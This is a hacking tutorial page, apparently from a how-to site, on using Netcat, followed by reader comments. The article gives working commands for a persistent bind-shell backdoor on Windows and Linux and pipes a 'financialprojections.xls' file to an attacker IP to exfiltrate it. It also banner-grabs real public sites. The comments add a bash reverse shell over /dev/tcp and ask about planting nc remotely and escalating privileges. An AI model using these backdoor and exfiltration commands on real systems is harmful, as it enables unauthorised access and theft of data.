Hack Like a Pro: How to Use Netcat, the Swiss Army Knife of Hacking Tools

How to Use Netcat, the Swiss Army Knife of Hacking Tools

For over 20 years, a tiny but mighty tool has been used by hackers for a wide range of activities. Although well known in hacking circles, Netcat is virtually unknown outside. It's so simple, powerful, and useful that many people within the IT community refer to it as the "Swiss Army knife of hacking tools." We'll look at the capabilities of Netcat and how the aspiring hacker can use it.

What Is Netcat, Really?

Netcat, like so many hacker tools, was created to be a network analysis tool. Developed in 1995 by a fellow only known as "Hobbit," Netcat was given to the IT community without compensation but has received scores of accolades.

However, while still useful, it has not been maintained, so Nmap produced a modern version of it with more up-to-date features. The new version is called Ncat and, for the most part, has the same commands as Netcat so that they can be used interchangeably.

You can use either Netcat or Ncat to open up TCP and UDP connections between two machines over any port your heart desires. Also, these tools can be used for port scanning, similar to Nmap. Netcat and Ncat can be used for port forwarding, proxying, simple web server, and leaving an open backdoor for the hacker, as well.

Let's look at some of Netcat's capabilities using Kali Linux. Netcat should be installed, but Ncat might not be. To install either, just use one of the commands below.

apt-get install netcat

apt-get install ncat

Step 1: Open Netcat's Help Screen

Once we've fired up our Kali Linux system and opened a terminal, we can use Netcat from any directory since it's located in our bin directory which is in our PATH variable by default. So, let's type nc -h to see its help page.

nc -h

[v1.10-41.1]
connect to somewhere:	nc [-options] hostname port[s] [ports] ...
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
	-e filename		program to exec after connect [dangerous!!]
	-b			allow broadcasts
	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-q secs			quit after EOF on stdin and delay of secs
	-s addr			local source address
	-T tos			set Type Of Service
	-t			answer TELNET negotiation
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-C			Send CRLF as line-ending
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

And this is for Ncat:

ncat -h

Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-alpn             ALPN protocol list to use.
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

Step 2: Get the Basics Syntax Down

As you can see from the help screen above, the basic syntax for Netcat is the following. (Substitute nc for ncat if using Ncat instead of Netcat. We will just be using nc for the rest of this guide.)

To connect to another machine:

nc options host-IP-address port

To listen for inbound connections:

nc -l -p port

Step 3: Use Netcat to Connect to a Remote System

Let's go ahead and use Netcat to connect to a remote system. In this case, we will try to connect to a web server on port 80.

nc 192.168.1.105 80

That command gives us a TCP connection, by default, to the web server (port 80) at 192.168.1.105. Now, whatever we type, we will be sent directly to the web server when we hit enter.

Step 4: Use Netcat to Banner Grab for OS Fingerprinting

Before attacking any system, we need to know as much as possible about the target. So, once we have a TCP connection to a web server, we can use Netcat to grab the banner of the web server that's served up to new connections to identify what web-serving software the target is running.

A banner grab to the web server can be done with the HEAD / HTTP/1.0 command. Be careful and copy exactly as is with the slashes and spaces. Alternatively, if this doesn't work, you can try HEAD / HTTP/1.1 instead.

HEAD / HTTP/1.0

Hit enter a few times and the web server will respond with its banner telling us exactly what software it is running. In this case, we can see that the web server is running Microsoft's IIS 7.5.

HTTP/1.1 200 OK
Content-Length: 998
Content-Type: text/html
Content-Location: http://192.168.1.105/index.html
Last-Modified: Wed, 26 Sep 2018 17:59:41 GMT
Accept-Ranges: bytes
Etag: "e245c46986ecc61:93f"
Server: Microsoft-IIS/7.5
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sat, 08 Dec 2018 02:14:35 GMT
Conection: close

We can use this technique on other public websites, as well. Let's try it on some widely known sites and see what web server software they're running.

First, let's try this website, wonderhowto.com. When we ping wonderhowto.com, we see that its IP address is 104.193.19.59. So, we throw that into the command, then, after getting a connection, we grab the web server banner. Remember to hit enter two or three times. As we can see, wonderhowto.com is running its own WonderHowTo server.

nc 104.193.19.59 80
HEAD / HTTP/1.0

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 141
Content-Type: text/html; charset=utf-8
Expires: -1
Location: https://wonderhowto.com/
Server: WonderHowTo
X-UA-Compatible: IE=Edge,chrome=1
X-Server-Name: APP01
X-Content-Type-Options: nosniff
Date: Sat, 08 Dec 2018 02:19:08 GMT
Connection: keep-alive

But that doesn't seem right. Let's try again with HEAD / HTTP/1.1 instead. As seen below, we get a bad request but do see that Microsoft-HTTPAPI/2.0 shows up, which is a common reading when the actual server is a Microsoft-IIS version.

nc 104.193.19.59 80
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Length: 334
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 08 Dec 2018 03:04:29 GMT
Connection: close

If we try the same thing with ebay.com, we get the results below. As you can see, it runs on an Apache-Coyote.1.1 server.

nc 66.135.209.52 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: 49c752f2ba437586596f602605cb5820
Last-Modified: Fri, 8 Dec 2018 01:48:47 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 857
Date: Sat, 08 Dec 2018 02:38:44 GMT
Connection: keep-alive

Go ahead and try it on other websites and find out what server they're running. However, note that it may not work for all sites or you may not see the server information.

Step 5: Use Netcat to Listen for Connections

Now, let's use Netcat to create a listener on the remote system. Let's assume that we have a Windows server that we have installed Netcat on. We can now type the following to open a Netcat listener on port 6996 (it can be any port) on that system.

nc - l -p 6996

This has created a "listener" that we can connect to at our leisure.

C:\>
C:\>
C:\>
C:\>
C:\>
C:\>nc -l -p 6996

Note that on Windows systems, we can run this same command with an upper case L to create a persistent listener that will open up even if the system is rebooted.

Step 6: Create a Backdoor

Now, let's create a backdoor on the target system that we can come back to at any time. The command will vary slightly based upon whether we are attacking a Linux or Windows system.

For Windows, we use:

nc -l -p 6996 -e cmd.exe

For Linux, it's:

nc -l -p 6996 -e /bin/bash

This will open a listener on the system that will "pipe" the command shell or the Linux bash shell to the connecting system.

Next, on our attacking system, we type the following one-liner. As you can see, the Windows command prompt has been piped through our Netcat connection directly to our attacking system. We own that box!

nc 192.168.1.105 6996

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\>

Step 7: Copy Files Out (Exfiltrate) from the Target

Netcat can also be used to exfiltrate files and data from the target. Let's imagine that there's data on the target system that we want, maybe financial data or data stored in a database. We can use a stealth connection to slowly copy that data out to our attack system. In this example, we will exfiltrate a file called financialprojections.xls, presumably an Excel file with financial projections.

From the source system, we type:

type financialprojections.xls | nc 192.168.1.104 6996

That command says to display the file financialprojections.xls, then pipe (|) it to Netcat (nc) to IP address 192.168.1.104 through port 6996.

02/26/2013  05:28 PM     <DIR>          WINDOWS
10/09/2006  03:55 PM     <DIR>          wmpub
               4 Files(s)         59,533 bytes
               8 Dir(s)    4,876,210,176 bytes free

C:\>type financialprojections.xls | nc 192.168.1.104 6996

C:\>type financialprojections.xls | nc 192.168.1.104 6996

From the destination system, we type:

nc -l -p 6996 > financialprojections.xls

That command says to create a listener (l) on port (p) 6996, then send the data received on this listener to a file named financialprojections.xls. We can see in the code below, after using ls -l, that the file was copied across our Netcat connection over port 6996 to our attacking machine!

ls -l

total 356
drwxr-xr-x 2 root root   4096 2011-05-07 11:46 Desktop
-rw-r--r-- 1 root root    141 2013-09-18 12:25 financialprojections.xls
-rw-r--r-- 1 root root    192 2013-09-02 13:49 replay_arp-0902-133213.cap
-rw-r--r-- 1 root root      0 2013-09-02 16:08 snortlog
-rw-r--r-- 1 root root 338111 2013-09-02 13:49 WEPcrack-01.cap
-rw-r--r-- 1 root root    575 2013-09-02 13:49 WEPcrack-01.csv
-rw-r--r-- 1 root root    582 2013-09-02 13:49 WEPcrack-01.kismet.csv
-rw-r--r-- 1 root root   3660 2013-09-02 13:49 WEPcrack-01.kismet.netxml

This is just a small sample of what this powerful little program can do. When you combine it with some basic scripting skills, you can only imagine the incredible things that can be accomplished.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover photo via Shutterstock

36 Comments

Does this file transfer and everything only work if you have netcat installed on the remote computer? If so, how could you get it to install and then interact with it without using physical access, is there like a payload for it or something?

this is just nc..the question is..im at home..and want to get on a computer miles away but I cant break into the house..so how are you going to get nc on their machine?..so I could do this...(not that im doing this..its an analogy)..Thanks

Eight:

Good question! If you don't have physical access, you will need to upload it the system. TFTP would be one option. If you were able to get a command prompt through Metasploit, you can upload netcat by TFTP.

OTW

If i have meterpreter session than why will i need netcat? Because i think meterpreter session can do anything. Please explain because i am a newbie

Hi OTW,

Kindly advice on how i can use the set-cookie:79.............path=/, httponly

i have researched with no explicit clarification given.

Regards
evil genious

Evil:

I'm not sure what you are asking me and what this has to do with this tutorial on netcat?

OTW

OTW

I understand how XSS work, when I used Netcat as described on this tutorial I happened to have come across this:

Set-Cookie: 79eE........................................................; path=/; HttpOnly
Connection; close

during my research on httponly cookies i know that they are the best in terms of security configuration (to avoid xss). So if I manage to get the above are they the cookies for the administrator or they are part of the configuration to throw testers away ?

I didnt want to try them since I am not a cracker.

evilgenious

Great writeup! Now to poke at your brain (in hopes of being pointed in the right direction) ;)

1) After netcat is installed as a backdoor on a system, how would a pentester configure the netcat backdoor to be used as a socks proxy?

2) Is it possible to chain netcat proxies together to use in succession?

3) If it's not possible to chain netcat proxies together through it's own internal configs, could they be chained together using proxychains?

(I have a gut feeling that both scenario's are possible).

4) Assuming that netcat can be chained,, would the same configuration work in cryptcat?

Thank you in advanced!

yes, this can be done, but there are easier ways.

What would be an easier way?

Carlos, you might want to check out Socat. It's essentially netcat with a bunch of added crypto/tunneling gear.

I'd like to share that it is possible to get net cat working on Mac OSX too.

Though the default command "nc" emulates the legit netcat, the "-e" option is not available, so practically useless for backdooring.

This can be easily solved installing it from "Homebrew".
Go to "brew.sh" and follow the instruction to install the terminal utility, once done "brew install netcat".
Now you can run "netcat -l -p 1337 -e /bin/bash" and you'll get a shell on that system too.
It worked perfectly for me, but since there's no https or certs, feel free to not trust this.

hhello sir OTW...is it possible to see the source code of netcat directly on kali? on a more general note..is it possible to see the source code of installed tools or programs on a linux distros? if so how? thanks

King:

Nearly everything on our Kali platform is open source, including the Debian Linux it is built on.

OTW

that has been understood...but assuming am without internet can i see the source code directly somewhere in the OS?

doing for example i cd to usr/bin and i try gedit netcat or some other tool..but nothing shows up..well those a files to be executed but what about wanting to read the source assuming am without internet?

is that possible? hope i explained myself enought
thanks Sir.

Those files are already compiled. You need the uncompiled files to view the source code.

OTW, I keep trying to use netcat to connect to the ftp server of some websites, like cnn, and things like that. I type HEAD / HTTP/1.O and nothing comes up. Am I doing something wrong?

Nevermind. I just have bad wifi.

how to i know what is my friends computer port?

For the linux bash shell we use: bash -i >& /dev/tcp/192.168.1.88/1234 0>&1
to send a connection, what about windows command shell ?? help me here ...!

You create a listener in Windows with nc -L -p <port number> -e cmd.exe

so it must have netcat ? no other way ?

Sadly, Windows doesn't come with much useful cli tools .. you can download netcat here and most others here.

I'm sure there are other ways, but this article is about using netcat.

I am a newbie and love the knowledge shared here on this site. I need help with an issue that I have had happen similar to this current hack but it was done to me on my rooted Samsung galaxy s4. Any advice or suggestions on how to retaliate or something? Thanks

Would it be possible to upload a meterpreter payload to a nc listener, and if so how. I tried a few things and it spewed out jibberish... Thanks

Robyn

OTW, how would you make this connection persistent on a Linux server?

I guess this can easily be achieved with nohup

what is the difference between ncat and netcat ??
ncat -h giving me different parameters as compared to netcat-h

Please Help out me to clear out my concept! Thank-you! Else your tutorial is as always super awesome! Thank-you Master OTW for sharing such useful informations!

Mine one more doubt is, can we transfer .exe file through ncat ????

When i get Netcat installed on a target system, what are my options from there? Can I open a meterpreter session through this ?

I hope this isn't too necro. Any tips on how to escalate privs for nc? I know awk is an option, but there must be a better way. In the past I'd inject PHP and call it over the browser, but lately IDS catches that now. And I don't use msf. All I have is a phone.

Hello world!

I am system engineering student, and I'm attending a course named data security. One of the subjects is exploit a cloud vm (created by the profesor) connect the vm, set a shell and later gain root access. Te problem is the vm is outside my lan. Besides, the vm is a zimbra mail server executed in a nginx server, other students turn a web site, other P2P apps.

I used the comand ncat -C 200225(Ipv4 adress) -ssl and his output was: ncat connected to 200.*.225. Which means that is accessible. But the problem is when I execute the shell(ncat -e bin/sh 443), fails. Do you know how can gain the root acess in the host that is outside of my lan? Please, give me some examples(with ncat). Some people says that ngrok is the solution; but I'm not sure how can this help.

Pd: The Vm is a microsoft azure cloud vm with a Ipv4 ip adress. And the mail server is executed under a localhost (type:200.**.225). For other hand, the vm host is linux kernel 4.x. For if worth for something. The other option is to set php shell upload in a php file and send it to the target. But I dont know how to do this.

Share Your Thoughts

  • Hot
  • Latest